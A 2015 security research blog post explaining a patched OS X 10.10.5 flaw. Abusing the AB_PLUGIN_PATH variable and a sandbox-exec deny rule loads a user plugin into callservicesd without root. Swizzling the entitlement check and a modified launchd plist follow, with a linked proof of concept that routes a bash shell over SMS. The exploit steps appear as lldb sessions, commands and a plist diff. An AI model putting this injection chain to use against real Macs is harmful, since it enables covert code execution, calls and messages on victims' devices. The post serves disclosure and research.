Tuesday, October 13, 2015 At 10:22AM
In our previous post, we looked at a bug that allowed malware running on OS X to make calls on a user’s iPhone without their knowledge. Apple released a patch to fix this bug in OS X 10.10.5 by adding a check for an entitlement that could only be granted by Apple. This was easily bypassed with root access by injecting code to disable the entitlement check. In this post, we’ll take a look at another bug that allowed bypassing the entitlement check without root.
For those that’d like to skip directly to the exploit code, it’s available on our Github repo in the SMShell directory.
Our goal is to somehow get code running inside FaceTime (since it has the entitlement) or callservicesd (since it checks for the entitlement). callservicesd is the more interesting target, since it’s got entitlements of its own that may be useful later. It turns out we can cause callservicesd to load code we control, thanks to Address Book plugins and a little help from the OS X sandbox.
At a high level, it works like this:
- callservicesd uses the AddressBook framework
- The AddressBook framework contains a method ‘debugPluginPaths’ which uses the environment variable AB_PLUGIN_PATH to add paths that will be searched for plugins.
- It’s normally not possible to use this variable to “hijack” existing plugins, as the “official” plugins in /System/Library/Address Book Plug-Ins/ are processed last, overwriting any user supplied plugins in AB_PLUGIN_PATH.
- By using sandbox-exec to launch callservicesd with a profile that blocks access to a specific plugin in /System/Library/Address Book Plug-Ins/, it is possible to work around this limitation and supply a replacement user controlled plugin which will run inside the address space of callservicesd.
- Once this is done, the ‘valueForEntitlement:’ method is swizzled and replaced with a method that simply returns ‘true’.
- This bypasses the check for the com.apple.telephonyservices.callservicesd entitlement, allowing the original exploit for CVE-2015-3785 to work again.
Walkthrough
If we attach lldb to callservicesd and look at ‘image list’, there are a few things that look interesting:
[245] 6951F277-550F-3E43-B116-F45F833D0310 0x0000000106fea000 /System/Library/Address Book Plug-Ins/LocalSource.sourcebundle/Contents/MacOS/LocalSource [246] 2B7D94E1-8B6F-382C-BA78-7928F09C309A 0x0000000106fef000 /System/Library/Address Book Plug-Ins/DirectoryServices.sourcebundle/Contents/MacOS/DirectoryServices [247] 1DDCFA21-F20A-32BA-91C4-41354D7DA44D 0x000000010999b000 /System/Library/Address Book Plug-Ins/POIPlugin.sourcebundle/Contents/MacOS/POIPlugin
If callservicesd is loading Address Book plugins, maybe it’ll also load user plugins that are placed in ~/Library/Address Book Plug-Ins? Unfortunately it’s not that simple. callservicesd won’t load anything placed in that directory, even copies of the plugins from /System/Library/Address Book Plug-Ins/. In addition, it’s not loading everything in /System/Library/Address Book Plug-Ins/ – only those 3 plugins. A bit of investigation shows that on startup, the AddressBook framework loads plugins that implement certain classes as indicated by the NSPrincipalClass key in the plugin’s Info.plist. The plugins correspond to different type of account “sources”, so presumably if one had an Exchange or CardDAV account configured on the system those plugins would load as well.
This means that unless a non-root user can somehow get a plugin into that directory that implements one of these classes, this seems to be a dead end. However, a closer look at the AddressBook framework reveals another avenue that may do exactly what we want.
While looking for anything plugin related in AddressBook.framework, the following string in the binary immediately jumps out:
AB_PLUGIN_PATH
Could it really be that easy? Is this an environment variable that controls where plugins are loaded from? Yes and no. AddressBook won’t blindly load plugins placed into AB_PLUGIN_PATH, but what if we try a plugin with an NSPrincipalClass of a system plugin we know will be loaded? We’ll use ‘ABPointOfInterestSource’, which is currently provided by /System/Library/Address Book Plug-Ins/POIPlugin.sourcebundle/.
$ tail -4 /tmp/injectab.sourcebundle/Contents/Info.plist <key>NSPrincipalClass</key> <string>ABPointOfInterestSource</string> </dict> </plist> $ AB_PLUGIN_PATH=/tmp lldb /System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd (lldb) target create “/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd” Current executable set to ‘/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd’ (x86_64). (lldb) r Process 70176 launched: ‘/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd’ (x86_64) 2015-09-07 18:00:25.054 callservicesd[70176:19289423] Failed to get the bundle id Process 70176 stopped * thread #1: tid = 0x126554f, 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10, queue = ‘com.apple.main-thread’, stop reason = signal SIGSTOP frame #0: 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10 libsystem_kernel.dylib`mach_msg_trap: -> 0x7fff8f3494de <+10>: retq 0x7fff8f3494df <+11>: nop libsystem_kernel.dylib`mach_msg_overwrite_trap: 0x7fff8f3494e0 <+0>: movq %rcx, %r10 0x7fff8f3494e3 <+3>: movl $0x1000020, %eax (lldb) image list injectab error: no modules found that match ‘injectab’ (lldb) image list POIPlugin [ 0] 1DDCFA21-F20A-32BA-91C4-41354D7DA44D 0x00000001005e0000 /System/Library/Address Book Plug-Ins/POIPlugin.sourcebundle/Contents/MacOS/POIPlugin (lldb)
Our ‘injectab’ plugin in /tmp still didn’t load. What happens if we cheat for a second, and move the original POIPlugin out of the way so it isn’t loaded?
$ sudo mv /System/Library/Address Book Plug-Ins/POIPlugin.sourcebundle ~ $ AB_PLUGIN_PATH=/tmp lldb /System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd (lldb) target create "/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd" Current executable set to '/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd' (x86_64). (lldb) r Process 70220 launched: '/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd' (x86_64) 2015-09-07 18:06:51.951 callservicesd[70220:19297629] +[ABPointOfInterestSource persistenceWithUID:path:]: unrecognized selector sent to class 0x1000fe230 2015-09-07 18:06:51.952 callservicesd[70220:19297629] Couldn`t init moc: +[ABPointOfInterestSource persistenceWithUID:path:]: unrecognized selector sent to class 0x1000fe230 2015-09-07 18:06:51.952 callservicesd[70220:19297629] Could not initialize the shared address book 2015-09-07 18:06:52.202 callservicesd[70220:19297629] Failed to get the bundle id Process 70220 stopped * thread #1: tid = 0x126755d, 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10 libsystem_kernel.dylib`mach_msg_trap: -> 0x7fff8f3494de <+10>: retq 0x7fff8f3494df <+11>: nop libsystem_kernel.dylib`mach_msg_overwrite_trap: 0x7fff8f3494e0 <+0>: movq %rcx, %r10 0x7fff8f3494e3 <+3>: movl $0x1000020, %eax (lldb) image list injectab [ 0] A99FBAF2-B1B0-3169-BB47-1B221CBDC62B 0x00000001000fd000 /tmp/injectab.sourcebundle/Contents/MacOS/injectab (lldb) image list POIPlugin error: no modules found that match 'POIPlugin' (lldb)
This time our ‘injectab’ plugin successfully loads into callservicesd. This means that it’s possible to load plugins from AB_PLUGIN_PATH, but the ones in /System/Library/Address Book Plug-Ins/ take precedence. In pseudo-objc, it roughly looks like this:
-[ABDataSourcePluginIndex indexPlugins]
for (plugin in AB_PLUGIN_PATH,/System/Library/Address Book Plug-Ins/)
if (plugin.NSPrincipalClass)
plugins[file.NSPrincipalClass] = plugin.path;
indexPlugins builds a hash of plugins keyed on NSPrincipalClass by iterating files in AB_PLUGIN_PATH first, followed by /System/Library/AddressBookPlugins which will overwrite any existing values.
If we can cause the if statement above to return false while reading one or more system plugins, we can inject our plugin by “borrowing” its NSPrincipalClass.
The Sandbox
sandbox-exec is a command line utility included with OS X that allows you to, as the name might suggest, execute commands within a sandbox profile. If we run callservicesd inside a profile that denies it read access to a system plugin, the if statement will fail and our plugin should load instead. This trick only works on processes that aren’t already sandboxed, and luckily callservicesd is not. This is a fun example of turning a security feature against the system it’s designed to protect. Lets give it a shot:
$ ls -ld /System/Library/Address Book Plug-Ins/POIPlugin.sourcebundle/ /tmp/injectab.sourcebundle/ drwxr-xr-x 3 root wheel 102 Sep 12 2014 /System/Library/Address Book Plug-Ins/POIPlugin.sourcebundle/ drwxr-xr-x 3 dbastone wheel 102 Sep 4 17:47 /tmp/injectab.sourcebundle/ $ AB_PLUGIN_PATH=/tmp lldb -- /usr/bin/sandbox-exec -p'(version 1)(allow default)(deny file-read* (regex #"^/System/Library/Address Book Plug-Ins/POI*"))' /System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd (lldb) target create "/usr/bin/sandbox-exec" Current executable set to '/usr/bin/sandbox-exec' (x86_64). (lldb) settings set -- target.run-args '-p(version 1)(allow default)(deny file-read* (regex #"^/System/Library/Address Book Plug-Ins/POI*"))' "/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd" (lldb) process launch Process 70395 launched: '/usr/bin/sandbox-exec' (x86_64) Process 70395 stopped * thread #1: tid = 0x126ddb1, 0x00007fff5fc01000 dyld`_dyld_start, stop reason = exec frame #0: 0x00007fff5fc01000 dyld`_dyld_start dyld`_dyld_start: -> 0x7fff5fc01000 <+0>: popq %rdi 0x7fff5fc01001 <+1>: pushq $0x0 0x7fff5fc01003 <+3>: movq %rsp, %rbp 0x7fff5fc01006 <+6>: andq $-0x10, %rsp (lldb) c Process 70395 resuming 2015-09-07 18:43:36.620 callservicesd[70395:19324337] NSPrincipalClass for bundle not found: /System/Library/Address Book Plug-Ins/POIPlugin.sourcebundle 2015-09-07 18:43:36.632 callservicesd[70395:19324337] entitlement checks bypassed 2015-09-07 18:43:36.632 callservicesd[70395:19324337] +[ABPointOfInterestSource persistenceWithUID:path:]: unrecognized selector sent to class 0x1000fe230 2015-09-07 18:43:36.632 callservicesd[70395:19324337] Couldn`t init moc: +[ABPointOfInterestSource persistenceWithUID:path:]: unrecognized selector sent to class 0x1000fe230 2015-09-07 18:43:36.632 callservicesd[70395:19324337] Could not initialize the shared address book 2015-09-07 18:43:36.854 callservicesd[70395:19324337] Failed to get the bundle id Process 70395 stopped * thread #1: tid = 0x126ddb1, 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10 libsystem_kernel.dylib`mach_msg_trap: -> 0x7fff8f3494de <+10>: retq 0x7fff8f3494df <+11>: nop libsystem_kernel.dylib`mach_msg_overwrite_trap: 0x7fff8f3494e0 <+0>: movq %rcx, %r10 0x7fff8f3494e3 <+3>: movl $0x1000020, %eax (lldb) image list injectab [ 0] A99FBAF2-B1B0-3169-BB47-1B221CBDC62B 0x00000001000fd000 /tmp/injectab.sourcebundle/Contents/MacOS/injectab (lldb) image list POIPlugin error: no modules found that match 'POIPlugin'
It worked! Our plugin code is now loaded into callservicesd without requiring root. We can now swizzle the valueForEntitlement method as shown earlier, and the original exploit will work again. Almost.
callservicesd is meant to be started by launchd when it receives relevant requests for XPC services. If we start it manually using our custom environment and sandbox-exec, launchd still starts its own “clean” copy which ends up servicing the XPC requests itself.
To handle this, we’ll simply unload the system’s callservicesd plist and replace it with a modified version that sets AB_PLUGIN_PATH and invokes sandbox-exec.
$ diff -u /System/Library/LaunchAgents/com.apple.telephonyutilities.callservicesd.plist csd_launchd.plist
--- /System/Library/LaunchAgents/com.apple.telephonyutilities.callservicesd.plist 2015-02-26 03:23:52.000000000 -0500
+++ csd_launchd.plist 2015-09-07 17:44:48.000000000 -0400
@@ -8,6 +8,8 @@
<dict>
<key>NSRunningFromLaunchd</key>
<string>1</string>
+ <key>AB_PLUGIN_PATH</key>
+ <string>/tmp</string>
</dict>
<key>Label</key>
<string>com.apple.telephonyutilities.callservicesd</string>
@@ -56,6 +58,9 @@
</dict>
<key>ProgramArguments</key>
<array>
+ <string>/usr/bin/sandbox-exec</string>
+ <string>-p</string>
+ <string>(version 1)(allow default)(deny file-read* (regex #"^/System/Library/Address Book Plug-Ins/POI*"))</string>
<string>/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd</string>
</array>
<key>EnablePressuredExit</key>
$ launchctl unload /System/Library/LaunchAgents/com.apple.telephonyutilities.callservicesd.plist
$ launchctl load csd_launchd.plist
$ killall callservicesd
SMS
Now that we’ve got code running inside callservicesd, some new possibilities open up. We no longer need to use XPC to communicate with callservicesd, since we can invoke methods directly. Our code also now runs with all of the entitlements of callservicesd.
Remember the entitlement that imagent checked for earlier, preventing us from sending SMS? It just so happens that callservicesd has it. Our injected plugin code is thus free to communicate with imagent and send SMS messages to arbitrary phone numbers.
A short proof of concept is available in the SMShell directory. This code routes a bash shell over SMS via a user’s paired iPhone, without requiring root access on OS X 10.10.5 and below. Because SMS is used, this shell will bypass any IP based network filtering in use.
Apple’s Fixes
In OS X 10.11, the debugPluginPaths implementation now returns an empty object and all references to AB_PLUGIN_PATH have been removed.
Additionally, Session Integrity Protection prevents these injection attacks from being performed as root.
Author: Dan Bastone
©Aon plc 2023